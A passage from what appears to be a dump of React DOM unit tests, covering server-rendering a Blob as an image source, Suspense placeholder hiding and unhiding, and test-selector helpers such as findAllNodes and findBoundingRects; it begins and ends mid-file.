{\n        return content;\n      }\n      content += Buffer.from(value).toString('utf8');\n    }\n  }\n\n  // @gate enableSrcObject\n  it('can SSR a Blob as an img src', async () => {\n    const blob = new Blob([new Uint8Array([69, 230, 156, 181, 68, 75])], {\n      type: 'image/jpeg',\n    });\n\n    const ref = React.createRef();\n\n    function App() {\n      return <img src={blob} ref={ref} />;\n    }\n\n    const stream = await ReactDOMFizzServer.renderToReadableStream(<App />);\n    container.innerHTML = await readContent(stream);\n\n    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App />);\n    });\n\n    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');\n  });\n\n  // @gate enableSrcObject\n  it('errors in DEV when mismatching a Blob during hydration', async () => {\n    const blob = new Blob([new Uint8Array([69, 230, 156, 181, 68, 75])], {\n      type: 'image/jpeg',\n    });\n\n    const ref = React.createRef();\n\n    const stream = await ReactDOMFizzServer.renderToReadableStream(\n      <img src={blob} ref={ref} />,\n    );\n    container.innerHTML = await readContent(stream);\n\n    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');\n\n    const clientBlob = new Blob([new Uint8Array([69, 230, 156, 181, 68])], {\n      type: 'image/jpeg',\n    });\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <img src={clientBlob} ref={ref} />);\n    });\n\n    assertConsoleErrorDev([\n      \"A tree hydrated but some attributes of the server rendered HTML didn't match the client properties. \" +\n        \"This won't be patched up. This can happen if a SSR-ed Client Component used:\\n\\n\" +\n        \"- A server/client branch `if (typeof window !== 'undefined')`.\\n\" +\n        \"- Variable input such as `Date.now()` or `Math.random()` which changes each time it's called.\\n\" +\n        \"- Date formatting in a user's locale which doesn't match the server.\\n\" +\n        '- External changing data without sending a snapshot of it along with the HTML.\\n' +\n        '- Invalid HTML tag nesting.\\n\\n' +\n        'It can also happen if the client has a browser extension installed which messes with the HTML before React loaded.\\n\\n' +\n        'https://react.dev/link/hydration-mismatch\\n\\n' +\n        '  <img\\n' +\n        '+   src={Blob:image/jpeg}\\n' +\n        '-   src=\"data:image/jpeg;base64,ReactURL\"\\n' +\n        '    ref={{current:null}}\\n' +\n        '  >\\n' +\n        '\\n    in img (at **)',\n    ]);\n\n    // The original URL left in place.\n    expect(container.firstChild.src).toBe('data:image/jpeg;base64,ReactURL');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMSuspensePlaceholder-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet findDOMNode;\nlet ReactDOMClient;\nlet Suspense;\nlet Scheduler;\nlet act;\nlet textCache;\nlet assertLog;\n\ndescribe('ReactDOMSuspensePlaceholder', () => {\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    findDOMNode =\n      ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n        .findDOMNode;\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertLog = require('internal-test-utils').assertLog;\n    Suspense = React.Suspense;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    textCache = new Map();\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  function resolveText(text) {\n    const record = textCache.get(text);\n    if (record === undefined) {\n      const newRecord = {\n        status: 'resolved',\n        value: text,\n      };\n      textCache.set(text, newRecord);\n    } else if (record.status === 'pending') {\n      const thenable = record.value;\n      record.status = 'resolved';\n      record.value = text;\n      thenable.pings.forEach(t => t());\n    }\n  }\n\n  function readText(text) {\n    const record = textCache.get(text);\n    if (record !== undefined) {\n      switch (record.status) {\n        case 'pending':\n          Scheduler.log(`Suspend! [${text}]`);\n          throw record.value;\n        case 'rejected':\n          throw record.value;\n        case 'resolved':\n          return record.value;\n      }\n    } else {\n      Scheduler.log(`Suspend! [${text}]`);\n      const thenable = {\n        pings: [],\n        then(resolve) {\n          if (newRecord.status === 'pending') {\n            thenable.pings.push(resolve);\n          } else {\n            Promise.resolve().then(() => resolve(newRecord.value));\n          }\n        },\n      };\n\n      const newRecord = {\n        status: 'pending',\n        value: thenable,\n      };\n      textCache.set(text, newRecord);\n\n      throw thenable;\n    }\n  }\n\n  function Text({text}) {\n    Scheduler.log(text);\n    return text;\n  }\n\n  function AsyncText({text}) {\n    readText(text);\n    Scheduler.log(text);\n    return text;\n  }\n\n  // @gate !disableLegacyMode\n  it('hides and unhides timed out DOM elements in legacy roots', async () => {\n    const divs = [\n      React.createRef(null),\n      React.createRef(null),\n      React.createRef(null),\n    ];\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <div ref={divs[0]}>\n            <Text text=\"A\" />\n          </div>\n          <div ref={divs[1]}>\n            <AsyncText text=\"B\" />\n          </div>\n          <div style={{display: 'inline'}} ref={divs[2]}>\n            <Text text=\"C\" />\n          </div>\n        </Suspense>\n      );\n    }\n    ReactDOM.render(<App />, container);\n    expect(window.getComputedStyle(divs[0].current).display).toEqual('none');\n    expect(window.getComputedStyle(divs[1].current).display).toEqual('none');\n    expect(window.getComputedStyle(divs[2].current).display).toEqual('none');\n    assertLog(['A', 'Suspend! [B]', 'C', 'Loading...']);\n    await act(async () => {\n      await resolveText('B');\n    });\n\n    expect(window.getComputedStyle(divs[0].current).display).toEqual('block');\n    expect(window.getComputedStyle(divs[1].current).display).toEqual('block');\n    // This div's display was set with a prop.\n    expect(window.getComputedStyle(divs[2].current).display).toEqual('inline');\n    assertLog(['B']);\n  });\n\n  it('hides and unhides timed out text nodes', async () => {\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <Text text=\"A\" />\n          <AsyncText text=\"B\" />\n          <Text text=\"C\" />\n        </Suspense>\n      );\n    }\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(container.textContent).toEqual('Loading...');\n    assertLog([\n      'A',\n      'Suspend! [B]',\n      'Loading...',\n      // pre-warming\n      'A',\n      'Suspend! [B]',\n      'C',\n    ]);\n    await act(() => {\n      resolveText('B');\n    });\n    assertLog(['A', 'B', 'C']);\n    expect(container.textContent).toEqual('ABC');\n  });\n\n  // @gate !disableLegacyMode\n  it(\n    'in legacy roots, re-hides children if their display is updated ' +\n      'but the boundary is still showing the fallback',\n    async () => {\n      const {useState} = React;\n\n      let setIsVisible;\n      function Sibling({children}) {\n        const [isVisible, _setIsVisible] = useState(false);\n        setIsVisible = _setIsVisible;\n        return (\n          <span style={{display: isVisible ? 'inline' : 'none'}}>\n            {children}\n          </span>\n        );\n      }\n\n      function App() {\n        return (\n          <Suspense fallback={<Text text=\"Loading...\" />}>\n            <Sibling>Sibling</Sibling>\n            <span>\n              <AsyncText text=\"Async\" />\n            </span>\n          </Suspense>\n        );\n      }\n\n      await act(() => {\n        ReactDOM.render(<App />, container);\n      });\n      expect(container.innerHTML).toEqual(\n        '<span style=\"display: none;\">Sibling</span><span style=' +\n          '\"display: none;\"></span>Loading...',\n      );\n      assertLog(['Suspend! [Async]', 'Loading...']);\n\n      // Update the inline display style. It will be overridden because it's\n      // inside a hidden fallback.\n      await act(() => setIsVisible(true));\n      expect(container.innerHTML).toEqual(\n        '<span style=\"display: none;\">Sibling</span><span style=' +\n          '\"display: none;\"></span>Loading...',\n      );\n      assertLog(['Suspend! [Async]']);\n\n      // Unsuspend. The style should now match the inline prop.\n      await act(() => resolveText('Async'));\n      expect(container.innerHTML).toEqual(\n        '<span style=\"display: inline;\">Sibling</span><span style=\"\">Async</span>',\n      );\n    },\n  );\n\n  // Regression test for https://github.com/facebook/react/issues/14188\n  // @gate !disableLegacyMode\n  it('can call findDOMNode() in a suspended component commit phase in legacy roots', async () => {\n    const log = [];\n    const Lazy = React.lazy(\n      () =>\n        new Promise(resolve =>\n          resolve({\n            default() {\n              return 'lazy';\n            },\n          }),\n        ),\n    );\n\n    class Child extends React.Component {\n      componentDidMount() {\n        log.push('cDM ' + this.props.id);\n        findDOMNode(this);\n      }\n      componentDidUpdate() {\n        log.push('cDU ' + this.props.id);\n        findDOMNode(this);\n      }\n      render() {\n        return 'child';\n      }\n    }\n\n    const buttonRef = React.createRef();\n    class App extends React.Component {\n      state = {\n        suspend: false,\n      };\n      handleClick = () => {\n        this.setState({suspend: true});\n      };\n      render() {\n        return (\n          <React.Suspense fallback=\"Loading\">\n            <Child id=\"first\" />\n            <button ref={buttonRef} onClick={this.handleClick}>\n              Suspend\n            </button>\n            <Child id=\"second\" />\n            {this.state.suspend && <Lazy />}\n          </React.Suspense>\n        );\n      }\n    }\n\n    ReactDOM.render(<App />, container);\n\n    expect(log).toEqual(['cDM first', 'cDM second']);\n    log.length = 0;\n\n    buttonRef.current.dispatchEvent(new MouseEvent('click', {bubbles: true}));\n    await Lazy;\n    expect(log).toEqual(['cDU first', 'cDU second']);\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/14188\n  it('can call legacy findDOMNode() in a suspended component commit phase (#2)', async () => {\n    let suspendOnce = Promise.resolve();\n    function Suspend() {\n      if (suspendOnce) {\n        const promise = suspendOnce;\n        suspendOnce = null;\n        throw promise;\n      }\n      return null;\n    }\n\n    const log = [];\n    class Child extends React.Component {\n      componentDidMount() {\n        log.push('cDM');\n        findDOMNode(this);\n      }\n\n      componentDidUpdate() {\n        log.push('cDU');\n        findDOMNode(this);\n      }\n\n      render() {\n        return null;\n      }\n    }\n\n    function App() {\n      return (\n        <Suspense fallback=\"Loading\">\n          <Suspend />\n          <Child />\n        </Suspense>\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(log).toEqual(['cDM']);\n    await act(() => {\n      root.render(<App />);\n    });\n\n    expect(log).toEqual(['cDM', 'cDU']);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMTestSelectors-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactDOMTestSelectors', () => {\n  let React;\n  let createRoot;\n  let act;\n  let createComponentSelector;\n  let createHasPseudoClassSelector;\n  let createRoleSelector;\n  let createTextSelector;\n  let createTestNameSelector;\n  let findAllNodes;\n  let findBoundingRects;\n  let focusWithin;\n  let getFindAllNodesFailureDescription;\n  let observeVisibleRects;\n  let mockIntersectionObserver;\n  let simulateIntersection;\n  let setBoundingClientRect;\n\n  let container;\n\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n\n    act = require('internal-test-utils').act;\n\n    if (__EXPERIMENTAL__ || global.__WWW__) {\n      const ReactDOM = require('react-dom/unstable_testing');\n      createComponentSelector = ReactDOM.createComponentSelector;\n      createHasPseudoClassSelector = ReactDOM.createHasPseudoClassSelector;\n      createRoleSelector = ReactDOM.createRoleSelector;\n      createTextSelector = ReactDOM.createTextSelector;\n      createTestNameSelector = ReactDOM.createTestNameSelector;\n      findAllNodes = ReactDOM.findAllNodes;\n      findBoundingRects = ReactDOM.findBoundingRects;\n      focusWithin = ReactDOM.focusWithin;\n      getFindAllNodesFailureDescription =\n        ReactDOM.getFindAllNodesFailureDescription;\n      observeVisibleRects = ReactDOM.observeVisibleRects;\n      createRoot = ReactDOM.createRoot;\n    }\n\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    const IntersectionMocks = require('./utils/IntersectionMocks');\n    mockIntersectionObserver = IntersectionMocks.mockIntersectionObserver;\n    simulateIntersection = IntersectionMocks.simulateIntersection;\n    setBoundingClientRect = IntersectionMocks.setBoundingClientRect;\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n  });\n\n  describe('findAllNodes', () => {\n    // @gate www || experimental\n    it('should support searching from the document root', async () => {\n      function Example() {\n        return (\n          <div>\n            <div data-testname=\"match\" id=\"match\" />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support searching from the container', async () => {\n      function Example() {\n        return (\n          <div>\n            <div data-testname=\"match\" id=\"match\" />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(container, [\n        createComponentSelector(Example),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support searching from a previous match if the match had a data-testname', async () => {\n      function Outer() {\n        return (\n          <div data-testname=\"outer\" id=\"outer\">\n            <Inner />\n          </div>\n        );\n      }\n\n      function Inner() {\n        return <div data-testname=\"inner\" id=\"inner\" />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      let matches = findAllNodes(container, [\n        createComponentSelector(Outer),\n        createTestNameSelector('outer'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('outer');\n\n      matches = findAllNodes(matches[0], [\n        createComponentSelector(Inner),\n        createTestNameSelector('inner'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('inner');\n    });\n\n    // @gate www || experimental\n    it('should not support searching from a previous match if the match did not have a data-testname', async () => {\n      function Outer() {\n        return (\n          <div id=\"outer\">\n            <Inner />\n          </div>\n        );\n      }\n\n      function Inner() {\n        return <div id=\"inner\" />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      const matches = findAllNodes(container, [createComponentSelector(Outer)]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('outer');\n\n      expect(() => {\n        findAllNodes(matches[0], [\n          createComponentSelector(Inner),\n          createTestNameSelector('inner'),\n        ]);\n      }).toThrow(\n        'Invalid host root specified. Should be either a React container or a node with a testname attribute.',\n      );\n    });\n\n    // @gate www || experimental\n    it('should support an multiple component types in the selector array', async () => {\n      function Outer() {\n        return (\n          <>\n            <div data-testname=\"match\" id=\"match1\" />\n            <Middle />\n          </>\n        );\n      }\n      function Middle() {\n        return (\n          <>\n            <div data-testname=\"match\" id=\"match2\" />\n            <Inner />\n          </>\n        );\n      }\n      function Inner() {\n        return (\n          <>\n            <div data-testname=\"match\" id=\"match3\" />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      let matches = findAllNodes(document.body, [\n        createComponentSelector(Outer),\n        createComponentSelector(Middle),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(2);\n      expect(matches.map(m => m.id).sort()).toEqual(['match2', 'match3']);\n\n      matches = findAllNodes(document.body, [\n        createComponentSelector(Outer),\n        createComponentSelector(Middle),\n        createComponentSelector(Inner),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match3');\n\n      matches = findAllNodes(document.body, [\n        createComponentSelector(Outer),\n        createComponentSelector(Inner),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match3');\n    });\n\n    // @gate www || experimental\n    it('should find multiple matches', async () => {\n      function Example1() {\n        return (\n          <div>\n            <div data-testname=\"match\" id=\"match1\" />\n          </div>\n        );\n      }\n\n      function Example2() {\n        return (\n          <div>\n            <div data-testname=\"match\" id=\"match2\" />\n            <div data-testname=\"match\" id=\"match3\" />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(\n          <>\n            <Example1 />\n            <Example2 />\n          </>,\n        );\n      });\n\n      const matches = findAllNodes(document.body, [\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(3);\n      expect(matches.map(m => m.id).sort()).toEqual([\n        'match1',\n        'match2',\n        'match3',\n      ]);\n    });\n\n    // @gate www || experimental\n    it('should ignore nested matches', async () => {\n      function Example() {\n        return (\n          <div data-testname=\"match\" id=\"match1\">\n            <div data-testname=\"match\" id=\"match2\" />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createTestNameSelector('match'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toEqual('match1');\n    });\n\n    // @gate www || experimental\n    it('should enforce the specific order of selectors', async () => {\n      function Outer() {\n        return (\n          <>\n            <div data-testname=\"match\" id=\"match1\" />\n            <Inner />\n          </>\n        );\n      }\n      function Inner() {\n        return <div data-testname=\"match\" id=\"match1\" />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      expect(\n        findAllNodes(document.body, [\n          createComponentSelector(Inner),\n          createComponentSelector(Outer),\n          createTestNameSelector('match'),\n        ]),\n      ).toHaveLength(0);\n    });\n\n    // @gate www || experimental\n    it('should not search within hidden subtrees', async () => {\n      const ref1 = React.createRef(null);\n      const ref2 = React.createRef(null);\n\n      function Outer() {\n        return (\n          <>\n            <div hidden={true}>\n              <div ref={ref1} data-testname=\"match\" />\n            </div>\n            <Inner />\n          </>\n        );\n      }\n      function Inner() {\n        return <div ref={ref2} data-testname=\"match\" />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Outer),\n        createTestNameSelector('match'),\n      ]);\n\n      expect(matches).toHaveLength(1);\n      expect(matches[0]).toBe(ref2.current);\n    });\n\n    // @gate www || experimental\n    it('should support filtering by display text', async () => {\n      function Example() {\n        return (\n          <div>\n            <div>foo</div>\n            <div>\n              <div id=\"match\">bar</div>\n            </div>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createTextSelector('bar'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support filtering by explicit accessibiliy role', async () => {\n      function Example() {\n        return (\n          <div>\n            <div>foo</div>\n            <div>\n              <div role=\"button\" id=\"match\">\n                bar\n              </div>\n            </div>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createRoleSelector('button'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support filtering by explicit secondary accessibiliy role', async () => {\n      const ref = React.createRef();\n\n      function Example() {\n        return (\n          <div>\n            <div>foo</div>\n            <div>\n              <div ref={ref} role=\"meter progressbar\" />\n            </div>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createRoleSelector('progressbar'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0]).toBe(ref.current);\n    });\n\n    // @gate www || experimental\n    it('should support filtering by implicit accessibiliy role', async () => {\n      function Example() {\n        return (\n          <div>\n            <div>foo</div>\n            <div>\n              <button id=\"match\">bar</button>\n            </div>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createRoleSelector('button'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support filtering by implicit accessibiliy role with attributes qualifications', async () => {\n      function Example() {\n        return (\n          <div>\n            <div>foo</div>\n            <div>\n              <input type=\"checkbox\" id=\"match\" value=\"bar\" />\n            </div>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createRoleSelector('checkbox'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should support searching ahead with the has() selector', async () => {\n      function Example() {\n        return (\n          <div>\n            <article>\n              <h1>Should match</h1>\n              <p>\n                <button id=\"match\">Like</button>\n              </p>\n            </article>\n            <article>\n              <h1>Should not match</h1>\n              <p>\n                <button>Like</button>\n              </p>\n            </article>\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const matches = findAllNodes(document.body, [\n        createComponentSelector(Example),\n        createRoleSelector('article'),\n        createHasPseudoClassSelector([\n          createRoleSelector('heading'),\n          createTextSelector('Should match'),\n        ]),\n        createRoleSelector('button'),\n      ]);\n      expect(matches).toHaveLength(1);\n      expect(matches[0].id).toBe('match');\n    });\n\n    // @gate www || experimental\n    it('should throw if no container can be found', () => {\n      expect(() => findAllNodes(document.body, [])).toThrow(\n        'Could not find React container within specified host subtree.',\n      );\n    });\n\n    // @gate www || experimental\n    it('should throw if an invalid host root is specified', async () => {\n      const ref = React.createRef();\n      function Example() {\n        return <div ref={ref} />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      expect(() => findAllNodes(ref.current, [])).toThrow(\n        'Invalid host root specified. Should be either a React container or a node with a testname attribute.',\n      );\n    });\n  });\n\n  describe('getFindAllNodesFailureDescription', () => {\n    // @gate www || experimental\n    it('should describe findAllNodes failures caused by the component type selector', async () => {\n      function Outer() {\n        return <Middle />;\n      }\n      function Middle() {\n        return <div />;\n      }\n      function NotRendered() {\n        return <div data-testname=\"match\" />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      const description = getFindAllNodesFailureDescription(document.body, [\n        createComponentSelector(Outer),\n        createComponentSelector(Middle),\n        createComponentSelector(NotRendered),\n        createTestNameSelector('match'),\n      ]);\n\n      expect(description).toEqual(\n        `findAllNodes was able to match part of the selector:\n  <Outer> > <Middle>\n\nNo matching component was found for:\n  <NotRendered> > [data-testname=\"match\"]`,\n      );\n    });\n\n    // @gate www || experimental\n    it('should return null if findAllNodes was able to find a match', async () => {\n      function Example() {\n        return (\n          <div>\n            <div data-testname=\"match\" id=\"match\" />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      const description = getFindAllNodesFailureDescription(document.body, [\n        createComponentSelector(Example),\n      ]);\n\n      expect(description).toBe(null);\n    });\n  });\n\n  describe('findBoundingRects', () => {\n    // @gate www || experimental\n    it('should return a single rect for a component that returns a single root host element', async () => {\n      const ref = React.createRef();\n\n      function Example() {\n        return (\n          <div ref={ref}>\n            <div />\n            <div />\n          </div>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      setBoundingClientRect(ref.current, {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(rects).toHaveLength(1);\n      expect(rects).toContainEqual({\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n    });\n\n    // @gate www || experimental\n    it('should return a multiple rects for multiple matches', async () => {\n      const outerRef = React.createRef();\n      const innerRef = React.createRef();\n\n      function Outer() {\n        return (\n          <>\n            <div ref={outerRef} />\n            <Inner />\n          </>\n        );\n      }\n      function Inner() {\n        return <div ref={innerRef} />;\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Outer />);\n      });\n\n      setBoundingClientRect(outerRef.current, {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n      setBoundingClientRect(innerRef.current, {\n        x: 110,\n        y: 120,\n        width: 250,\n        height: 150,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Outer),\n      ]);\n      expect(rects).toHaveLength(2);\n      expect(rects).toContainEqual({\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n      expect(rects).toContainEqual({\n        x: 110,\n        y: 120,\n        width: 250,\n        height: 150,\n      });\n    });\n\n    // @gate www || experimental\n    it('should return a multiple rects for single match that returns a fragment', async () => {\n      const refA = React.createRef();\n      const refB = React.createRef();\n\n      function Example() {\n        return (\n          <>\n            <div ref={refA}>\n              <div />\n              <div />\n            </div>\n            <div ref={refB} />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      setBoundingClientRect(refA.current, {\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n      setBoundingClientRect(refB.current, {\n        x: 110,\n        y: 120,\n        width: 250,\n        height: 150,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(rects).toHaveLength(2);\n      expect(rects).toContainEqual({\n        x: 10,\n        y: 20,\n        width: 200,\n        height: 100,\n      });\n      expect(rects).toContainEqual({\n        x: 110,\n        y: 120,\n        width: 250,\n        height: 150,\n      });\n    });\n\n    // @gate www || experimental\n    it('should merge overlapping rects', async () => {\n      const refA = React.createRef();\n      const refB = React.createRef();\n      const refC = React.createRef();\n\n      function Example() {\n        return (\n          <>\n            <div ref={refA} />\n            <div ref={refB} />\n            <div ref={refC} />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      setBoundingClientRect(refA.current, {\n        x: 10,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n      setBoundingClientRect(refB.current, {\n        x: 10,\n        y: 10,\n        width: 20,\n        height: 10,\n      });\n      setBoundingClientRect(refC.current, {\n        x: 100,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(rects).toHaveLength(2);\n      expect(rects).toContainEqual({\n        x: 10,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n      expect(rects).toContainEqual({\n        x: 100,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n    });\n\n    // @gate www || experimental\n    it('should merge some types of adjacent rects (if they are the same in one dimension)', async () => {\n      const refA = React.createRef();\n      const refB = React.createRef();\n      const refC = React.createRef();\n      const refD = React.createRef();\n      const refE = React.createRef();\n      const refF = React.createRef();\n      const refG = React.createRef();\n\n      function Example() {\n        return (\n          <>\n            <div ref={refA} data-debug=\"A\" />\n            <div ref={refB} data-debug=\"B\" />\n            <div ref={refC} data-debug=\"C\" />\n            <div ref={refD} data-debug=\"D\" />\n            <div ref={refE} data-debug=\"E\" />\n            <div ref={refF} data-debug=\"F\" />\n            <div ref={refG} data-debug=\"G\" />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      // A, B, and C are all adjacent and/or overlapping, with the same height.\n      setBoundingClientRect(refA.current, {\n        x: 30,\n        y: 0,\n        width: 40,\n        height: 25,\n      });\n      setBoundingClientRect(refB.current, {\n        x: 0,\n        y: 0,\n        width: 50,\n        height: 25,\n      });\n      setBoundingClientRect(refC.current, {\n        x: 70,\n        y: 0,\n        width: 20,\n        height: 25,\n      });\n\n      // D is partially overlapping with A and B, but is too tall to be merged.\n      setBoundingClientRect(refD.current, {\n        x: 20,\n        y: 0,\n        width: 20,\n        height: 30,\n      });\n\n      // Same thing but for a vertical group.\n      // Some of them could intersect with the horizontal group,\n      // except they're too far to the right.\n      setBoundingClientRect(refE.current, {\n        x: 100,\n        y: 25,\n        width: 25,\n        height: 50,\n      });\n      setBoundingClientRect(refF.current, {\n        x: 100,\n        y: 0,\n        width: 25,\n        height: 25,\n      });\n      setBoundingClientRect(refG.current, {\n        x: 100,\n        y: 75,\n        width: 25,\n        height: 10,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(rects).toHaveLength(3);\n      expect(rects).toContainEqual({\n        x: 0,\n        y: 0,\n        width: 90,\n        height: 25,\n      });\n      expect(rects).toContainEqual({\n        x: 20,\n        y: 0,\n        width: 20,\n        height: 30,\n      });\n      expect(rects).toContainEqual({\n        x: 100,\n        y: 0,\n        width: 25,\n        height: 85,\n      });\n    });\n\n    // @gate www || experimental\n    it('should not search within hidden subtrees', async () => {\n      const refA = React.createRef();\n      const refB = React.createRef();\n      const refC = React.createRef();\n\n      function Example() {\n        return (\n          <>\n            <div ref={refA} />\n            <div hidden={true} ref={refB} />\n            <div ref={refC} />\n          </>\n        );\n      }\n\n      const root = createRoot(container);\n      await act(() => {\n        root.render(<Example />);\n      });\n\n      setBoundingClientRect(refA.current, {\n        x: 10,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n      setBoundingClientRect(refB.current, {\n        x: 100,\n        y: 10,\n        width: 20,\n        height: 10,\n      });\n      setBoundingClientRect(refC.current, {\n        x: 200,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n\n      const rects = findBoundingRects(document.body, [\n        createComponentSelector(Example),\n      ]);\n      expect(rects).toHaveLength(2);\n      expect(rects).toContainEqual({\n        x: 10,\n        y: 10,\n        width: 50,\n        height: 25,\n      });\n   